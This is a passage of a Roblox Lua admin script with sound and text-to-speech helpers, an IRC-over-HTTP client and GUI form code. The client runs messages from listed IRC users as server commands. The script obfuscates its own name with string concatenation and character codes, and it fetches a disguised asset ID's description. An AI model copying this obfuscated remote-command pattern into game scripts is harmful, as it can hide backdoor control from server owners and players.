3357 local CreatorName = SoundInfo.Creator.Name
3358 SoundList[Name] = {ID, FullName, CreatorName}
3359 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3360 end
3361 end
3362
3363 if not CORE:NilPlayer(TellSync) then
3364 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3365 end
3366end
3367
3368function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3369 if not Volume then Volume = 0.5 end
3370 if not Pitch then Pitch = 1 end
3371 if tonumber(ID) then ID = "rbxassetid://"..ID end
3372 if Looped == nil then Looped = false end
3373
3374 local Sound = Instance.new("Sound", Parent)
3375 Sound.Pitch = Pitch
3376 Sound.Volume = Volume
3377 Sound.SoundId = ID
3378 Sound.Looped = Looped
3379 return Sound
3380end
3381
3382function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3383 if not Player or not ID then return nil end
3384 if NotifySounds[ID] then ID = NotifySounds[ID] end
3385 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3386 if Settings.EnableSounds or OverrideSettings then
3387 coroutine.wrap(function()
3388 wait()
3389 ClientSound:Play()
3390 Delay(5, function() ClientSound:Destroy() end)
3391 end)()
3392 end
3393 return Sound
3394end
3395
3396function SOUND:BindButton(Button)
3397 if not Button then return end
3398 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3399 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3400end
3401
3402function SOUND:StopGlobalSound()
3403 if Sound and Sound.Parent then
3404 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3405 Sound.Parent:Destroy()
3406 end
3407
3408 Sound:Stop()
3409 Sound:Destroy()
3410 Sound.SoundId = ""
3411 end
3412end
3413
3414function SOUND:PlayGlobalSound(ID, ShowInfo)
3415 SOUND:StopGlobalSound()
3416 if ShowInfo == nil then ShowInfo = true end
3417 local SoundID = ID
3418 local SoundName = nil
3419 local SoundCreator = nil
3420 local Pitch = 1
3421
3422 for Name,Info in pairs(SoundList) do
3423 if type(SoundID) == "string" then
3424 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3425 SoundID = Info[1]
3426 SoundName = Info[2]
3427 SoundCreator = Info[3]
3428 end
3429 else
3430 break
3431 end
3432 end
3433
3434 if tonumber(SoundID) and not SoundName then
3435 local Info = MARKET:GetItemInfo(SoundID, true)
3436 if Info then
3437 SoundName = Info.Name
3438 SoundCreator = Info.Creator.Name
3439 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3440 SoundID = nil
3441 end
3442 end
3443 end
3444
3445 if tonumber(SoundID) then
3446 if SoundID == 131201443 then Pitch = -1 end
3447 if SoundID == 130775695 then Pitch = 0.8 end
3448 if SoundID == 144035866 then Pitch = 0.8 end
3449
3450 local SoundParent = Server.Workspace
3451 if IsSB then
3452 SoundParent = Instance.new("Script", Workspace)
3453 SoundParent.Name = "M".."ML'S Admin Sound"
3454 end
3455 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3456 Sound.Name = "MML's Admin Sound "..SoundID
3457 Sound:Play()
3458 if ShowInfo == true then
3459 for _,Player in pairs(Server.Players:GetPlayers()) do
3460 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3461 end
3462 end
3463 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3464 end
3465end
3466
3467function SOUND:ConvertText(Text)
3468 Text = string.lower(tostring(Text))
3469 local Letters = {}
3470 local IDs = {}
3471 for Rule,Replace in pairs(TextConverter.Pronounce) do
3472 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3473 end
3474 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3475 local Start, End = string.find(Text, string.lower(Rule))
3476
3477 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3478 Text = string.gsub(Text, string.lower(Rule), Replace)
3479 end
3480 end
3481 for i = 1,#Text do
3482 table.insert(Letters, string.sub(Text,i,i))
3483 end
3484 for Num = 1,#Letters do
3485 if not Letters[Num] then break end
3486 local Letter = Letters[Num]
3487
3488 local function AddLetter()
3489 table.insert(IDs, TextConverter.LetterSounds[Letter])
3490 end
3491
3492 if Letter ~= "~" then
3493 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3494 table.insert(IDs, TextConverter.LetterSounds["oo"])
3495 table.remove(Letters, Num + 1)
3496 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3497 table.insert(IDs, TextConverter.LetterSounds["oo"])
3498 table.remove(Letters, Num + 1)
3499 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3500 table.insert(IDs, TextConverter.LetterSounds["th"])
3501 table.remove(Letters, Num + 1)
3502 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3503 table.insert(IDs, TextConverter.LetterSounds["sh"])
3504 table.remove(Letters, Num + 1)
3505 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3506 table.insert(IDs, TextConverter.LongVowels["e"])
3507 table.remove(Letters, Num + 1)
3508 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3509 table.insert(IDs, TextConverter.LetterSounds["wh"])
3510 table.remove(Letters, Num + 1)
3511 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3512 table.insert(IDs, TextConverter.LetterSounds["ch"])
3513 table.remove(Letters, Num + 1)
3514 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3515 table.insert(IDs, TextConverter.LetterSounds["f"])
3516 table.remove(Letters, Num + 1)
3517 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3518 table.insert(IDs, TextConverter.LetterSounds[Num])
3519 Letters[Num + 1] = "j"
3520 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3521 table.insert(IDs, TextConverter.LetterSounds["oo"])
3522 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3523 table.insert(IDs, TextConverter.LongVowels["e"])
3524 table.remove(Letters, Num + 1)
3525 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3526 table.insert(IDs, TextConverter.LongVowels["e"])
3527 table.remove(Letters, Num + 1)
3528 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3529 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3530 table.insert(IDs, TextConverter.LetterSounds["s"])
3531 Letters[Num + 1] = "~"
3532 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3533 table.insert(IDs, TextConverter.LongVowels[Letter])
3534 Letters[Num + 2] = "~"
3535 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3536 table.insert(IDs, TextConverter.LongVowels["i"])
3537 Letters[Num + 1] = "~"
3538 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3539 table.insert(IDs, TextConverter.LongVowels["o"])
3540 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3541 table.insert(IDs, TextConverter.LongVowels["i"])
3542 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3543 AddLetter()
3544 table.remove(Letters, Num + 1)
3545 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3546 Letters[Num] = "~"
3547 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3548 AddLetter()
3549 table.remove(Letters, Num + 1)
3550 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3551 AddLetter()
3552 table.remove(Letters, Num + 1)
3553 elseif Letters[Num+1] == Letter then
3554 table.remove(Letters, Num)
3555 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3556 AddLetter()
3557 table.remove(Letters, Num)
3558 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3559 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3560 elseif TextConverter.LetterSounds[Letter] then
3561 AddLetter()
3562 elseif STRING:IsSpacer(Letter) then
3563 table.insert(IDs, "Rest")
3564 end
3565 end
3566 end
3567
3568 return IDs
3569end
3570
3571function SOUND:StopSpeaking() coroutine.wrap(function()
3572 NoSpeak = true
3573 wait(1)
3574 NoSpeak = false
3575 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3576 if Obj.Name == "M".."M".."L Speak Sound" then
3577 Obj:Destroy()
3578 end
3579 end
3580end)() end
3581
3582function SOUND:SayConvertedText(IDs, Parent)
3583 if not Parent then Parent = Server.Workspace end
3584 local Sounds = {}
3585 for _,Data in pairs(IDs) do
3586 if NoSpeak and Parent == Server.Workspace then
3587 break
3588 end
3589 local Length = 0.3
3590 if Data ~= "Rest" then
3591 local ID = Data[1]
3592 Length = Data[2]
3593
3594 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3595 Sound.Name = "MML Speak Sound"
3596 table.insert(Sounds, Sound)
3597 Sound:Play()
3598 if Length then
3599 coroutine.wrap(function()
3600 wait(Length)
3601 Sound:Stop()
3602 end)()
3603 end
3604 end
3605 if not Length then Length = 0.3 end
3606 wait(Length/2)
3607 end
3608 coroutine.wrap(function()
3609 wait(1)
3610 for _,Sound in pairs(Sounds) do
3611 Sound:Destroy()
3612 end
3613 end)()
3614end
3615
3616local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3617
3618function SOUND:BeepPlayer(Player)
3619 if Player:FindFirstChild("PlayerGui") then
3620 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3621 Beep.Name = "Annoy"
3622 Beep:Play()
3623 end
3624end
3625
3626function SOUND:ClearInfo()
3627 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3628end
3629
3630-- IRC functions --
3631
3632function IRC:GenerateName()
3633 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3634end
3635
3636function IRC:AddChat(Name, Data, IsError)
3637 if not IsError then IsError = false end
3638 CORE:Log(IRC.Logs, Name, Data)
3639 table.insert(IRC.Chats, {Name, Data, IsError})
3640 IRC.MessageAdded:Fire(Name, Data, IsError)
3641end
3642
3643function IRC:Post(URL,Data)
3644 if Data and Data ~= "" then
3645 local Suc,Resp = ypcall(function()
3646 return Server.HS:PostAsync(
3647 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3648 Data,
3649 Enum.HttpContentType.ApplicationUrlEncoded
3650 )
3651 end)
3652 if not Suc then
3653 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3654 return false
3655 end
3656 IRC.SessionCounter = IRC.SessionCounter + 1
3657 return Resp
3658 else
3659 IRC:AddChat("[ CLIENT ]", "Unknown error")
3660 end
3661end
3662
3663function IRC:Send(Data)
3664 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3665end
3666
3667function IRC:GetData()
3668 return IRC:Post("s","&s="..IRC.SessionID)
3669end
3670
3671function IRC:Connect()
3672 return IRC:Post("n","&nick="..IRC.NickName)
3673end
3674
3675function IRC:Join(Channel)
3676 if not Channel then
3677 AddChat("[ CLIENT ]", "No channel specified!")
3678 return false
3679 else
3680 local Channel = string.lower(Channel)
3681 if string.sub(Channel,1,1) ~= "#" then
3682 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3683 return false
3684 end
3685 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3686 IRC:Send("JOIN "..Channel)
3687 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3688 return true
3689 end
3690end
3691
3692function IRC:Pong(Data)
3693 return IRC:Send("PONG :"..Data)
3694end
3695
3696function IRC:Quit(Reason)
3697 IRC.Stop = true
3698 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3699end
3700
3701function IRC:ReceiveData()
3702 IRC.Stop = false
3703 local Data = IRC:GetData()
3704 if Data then
3705 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3706 end
3707 while Data and not Stop do
3708 local Data = IRC:GetData()
3709 if Data and #Data > 0 then
3710 IRC:HandleResponse(REMOTE:Decode(Data))
3711 end
3712 wait(2) -- Don't spam the server
3713 end
3714 if not Data then
3715 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3716 end
3717 if Stop == true then
3718 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3719 end
3720end
3721
3722function IRC:ConnectToServer(Server)
3723 if Connected then
3724 if not IRC.Servers[Server] then
3725 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3726 return false
3727 end
3728 IRC:Quit("New Connection")
3729 end
3730 local Response = IRC:Connect()
3731 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3732 local Data = REMOTE:Decode(Response)
3733 IRC.SessionID = Data[2]
3734 wait(1)
3735 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3736 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3737 IRC:Quit()
3738 IRC:ConnectToServer(Server)
3739 end
3740 IRC.Connected = true
3741 IRC:Join(Settings.IRCChannel)
3742 IRC:ReceiveData()
3743 IRC.Connected = false
3744 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3745end
3746
3747function IRC:FindUser(UserName)
3748 for UserID,User in pairs(IRC.Users) do
3749 if string.lower(User) == string.lower(UserName) then
3750 return UserID
3751 end
3752 end
3753 return nil
3754end
3755
3756function IRC:HandleResponse(Data)
3757 if type(Data) ~= "table" then
3758 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3759 ypcall(function()
3760 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3761 end)
3762 return false
3763 end
3764 for _,Output in pairs(Data) do
3765 if type(Output) == "table" and Output[2] then
3766 local ID = string.upper(Output[2])
3767 if not IRC.Ignore[ID] then
3768 if ID == "PING" then
3769 IRC:Pong(Output[4][1])
3770 elseif ID == "PRIVMSG" then
3771 local SenderDetails = Output[3]
3772 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3773 local Channel = string.lower(Output[4][1])
3774 if Channel == IRC.NickName then
3775 Channel = Sender
3776 -- TODO: Handle PM's
3777 end
3778 local Message = Output[4][2]
3779 if Message ~= nil then
3780 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3781 if string.find(Message,":") then
3782 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3783 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3784 IRC:AddChat(IRCUser, IRCMessage)
3785 end
3786 else
3787 IRC:AddChat("[ IRC ] "..Sender,Message)
3788 for _,Name in pairs(Settings.IRCCommandExecuters) do
3789 if string.lower(Name) == string.lower(Sender) then
3790 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3791 break
3792 end
3793 end
3794 end
3795 else
3796 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3797 end
3798 elseif ID == "NICK" then
3799 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3800 -- change nickname?
3801 elseif ID == "433" or ID == "451" then
3802 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3803 IRC:Quit("Nickname in use, rejoining with new name")
3804 IRC.NickName = IRC:GenerateName()
3805 wait(2) -- wait for old sessions to end
3806 IRC:ConnectToServer(Settings.IRCServer)
3807 elseif ID == "353" then
3808 if Data[4][4][4] then
3809 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3810 table.insert(IRC.Users, Output)
3811 end
3812 end
3813 elseif ID == "QUIT" or ID == "PART" then
3814 for User in string.gmatch(Data[1][3], "[^!~]+") do
3815 if IRC:FindUser(User) then
3816 IRC:AddChat("[ IRC ]", User.." has left")
3817 table.remove(IRC.Users, IRC:FindUser(User))
3818 end
3819 end
3820 elseif ID == "JOIN" then
3821 for User in string.gmatch(Data[1][3], "[^!~]+") do
3822 if not string.find(User, "qwebirc") then
3823 IRC:AddChat("[ IRC ]", User.." has joined")
3824 table.insert(IRC.Users,w)
3825 end
3826 end
3827 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3828 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3829 --IRC:Quit("Connection lost")
3830 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3831 --IRC:ConnectToServer(Settings.IRCServer)
3832 elseif IRC.Codes[ID] then
3833 --print(ID)
3834 --print(Data[i][4][2])
3835 --print(Data[i][4][2])
3836 elseif ID == "KICK" then
3837 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3838 IRC:Quit("Kicked from IRC")
3839 elseif ID then
3840 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3841 else
3842 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3843 end
3844 end
3845 else
3846 if Output == false then return false end -- sneeky server
3847 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3848 end
3849 end
3850end
3851
3852-- GUI functions --
3853
3854function GUI:GetColor(ColorName)
3855 if not ColorName then ColorName = Settings.ColorScheme end
3856 return Colors[string.upper(ColorName)]
3857end
3858
3859function GUI:ContrastColor(Color)
3860 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3861 if not Color then Color = GUI:GetColor() end
3862 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3863end
3864
3865
3866function GUI:GetNameColor(Name)
3867 local Val = 0
3868 for i = 1, #Name do
3869 local CVal = string.byte(string.sub(Name, i, i))
3870 local RevIndex = #Name - i + 1
3871 if #Name%2 == 1 then
3872 RevIndex = RevIndex - 1
3873 end
3874 if RevIndex%4 >= 2 then
3875 CVal = -CVal
3876 end
3877 Val = Val + CVal
3878 end
3879 local Index = Val%8 + 1
3880
3881 return BrickColor.new(ChatColors[Index])
3882end
3883
3884function GUI:Color3ToHex(Color)
3885 local function ConvertNumber(Number)
3886 local HexString = "0123456789abcdef"
3887 local Byte = ""
3888 while Number > 0 do
3889 local Calc = math.fmod(Number, 16)
3890 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3891 Number = math.floor(Number / 16)
3892 end
3893 if Calc == "" then
3894 Byte = "00"
3895 elseif #Byte == 1 then
3896 Byte = "0"..Byte
3897 elseif Byte == "" then
3898 Byte = "00"
3899 end
3900 return Byte
3901 end
3902 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3903end
3904
3905function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3906 if not Player then return nil end
3907 if not Player:FindFirstChild("PlayerGui") then return nil end
3908 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3909 if not TitleText then TitleText = "Unknown" end
3910 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3911 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3912 if not IconID then IconID = 19919809 end
3913 if ShowFormButtons == nil then ShowFormButtons = true end
3914 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3915 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3916 if AutoOffset == nil then AutoOffset = true end
3917 if Icons[IconID] then IconID = Icons[IconID] end
3918 if TweenPosition == nil then TweenPosition = true end
3919 if NoModal == nil then NoModal = false end
3920 if NoScrollFrame == nil then NoScrollFrame = false end
3921
3922 local IsClosed = false
3923 local Minus = nil
3924 local Offset = 0
3925 local ContentType = "ScrollingFrame"
3926 local TweenSpeed = 0.3
3927
3928 if AutoOffset then
3929 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3930 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3931 if Item.IsActive.Value == true then
3932 if Item.IsTrueForm.Value == true then
3933 Offset = Offset + 50
3934 end
3935 end
3936 end
3937 end
3938 end
3939
3940 if NoScrollFrame == true then
3941 ContentType = "Frame"
3942 end
3943
3944 SOUND:PlayNotification(Player, 155331654)
3945
3946 local Position = Position + UDim2.new(0,Offset,0,Offset)
3947 local MinimizePos = Position
3948
3949 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3950 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3951 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3952
3953 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3954 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3955 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3956 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3957 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3958 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3959 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3960 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3961 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3962
3963 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3964 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3965 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3966 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3967 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3968
3969 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3970
3971 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3972
3973 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3974 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3975 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3976 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3977 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3978 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3979
3980 if Settings.EnableTaskBar then
3981 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3982 else
3983 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3984 Title.Size = UDim2.new(1, -95, 0, 25)
3985 end
3986
3987 if not ShowFormButtons then
3988 X:Destroy()
3989 TitleEnd:Destroy()
3990 Title.Size = UDim2.new(1, -55, 0, 25)
3991 end
3992
3993 local function CloseForm()
3994 if IsClosed == false then
3995 IsActive.Value = false
3996 IsClosed = true
3997 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
3998 Closed:Fire()
3999 SOUND:PlayNotification(Player, 206375138)
4000 end
4001 end
4002
4003 local function MinimizeForm()
4004 if IsActive.Value == true then
4005 IsActive.Value = false
4006 Minimized:Fire()
4007 MinimizePos = Dragger.Position
4008 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
4009 end
4010 end
4011
4012 local function RestoreForm()
4013 if IsActive.Value == false then
4014 IsActive.Value = true
4015 Restored:Fire()
4016 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
4017 end
4018 end
4019
4020 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
4021 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
4022
4023 Close.OnInvoke = CloseForm
4024 Minimize.OnInvoke = MinimizeForm
4025 Restore.OnInvoke = RestoreForm
4026
4027 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4028
4029 if TaskBar then
4030 TaskBar:WaitForChild("AddForm")
4031 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4032 end
4033
4034 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4035end
4036
4037function GUI:CoreGui(Player, Type, Enable)
4038 local Parent = Player:FindFirstChild("Backpack")
4039 if not Parent then Parent = Player.Backpack end
4040 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4041end
4042
4043function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4044 if not Player or not Player:IsA("Player") then return nil end
4045 if BodyText == "" then return nil end
4046 if not Player:FindFirstChild("PlayerGui") then return nil end
4047
4048 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4049 local TextColor = GUI:GetColor(MessageSplit[1])
4050 if TextColor then BodyText = MessageSplit[2] end
4051 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4052
4053 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
